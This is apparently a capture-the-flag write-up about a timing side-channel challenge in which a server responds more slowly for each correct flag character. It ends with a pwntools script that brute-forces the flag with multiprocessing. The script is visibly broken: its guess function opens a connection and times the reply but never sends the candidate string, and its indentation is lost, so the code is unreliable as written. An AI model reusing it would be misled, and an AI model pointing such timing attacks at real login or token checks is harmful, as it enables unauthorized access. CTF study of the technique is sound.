In this challenge, you input some string, and the server will tell you if it's the flag or not. The more parts of the substring starting from position 0 you guess correctly, the slower the server responds (.5 seconds increase for every correct character). The security term for this is the timing attack problem.

You can easily write a bruteforce script. However, it will take forever to run: `50 * 47 * 23.5 / 60 = 920` mins approximately. 50 is half the length of string.printable, or the average number of elements you have to cycle in the set of guessable characters to be correct. 47 is the number of times the loop runs because you are given that the flag length is 47. 23.5 is half of 47 or the average time in seconds the server takes to return your guess.

I am no expert on this but I heard from my university class of the term multiprocessing, which is where you allocate tasks to multiple cores for asynchronous execution. This method allowed me to connect to the server simultaneously 100 times for each guessed character of string.printable, so I reduced the brute force time by 100 fold, which allowed me to solve this challenge during the length of the competition. Code below.

from pwn import *
from string import printable
import time
import multiprocess

def guess(x):
r = remote('50i9k97k4puypj7bvtngr2yco.ctf.p0wnhub.com', '52400')
banner = r.recv(4096)
init_prompt = r.recv(4096)
start = time.time()
res = r.recv(4096)
end = time.time()
return x[-1], end - start

init = 'HZVIII{'

while len(init) != 47:
p = multiprocess.Pool(len(printable))
d = [x for x in p.map(guess, [init + s for s in printable])]
init += max(d, key=lambda a: a[1])[0]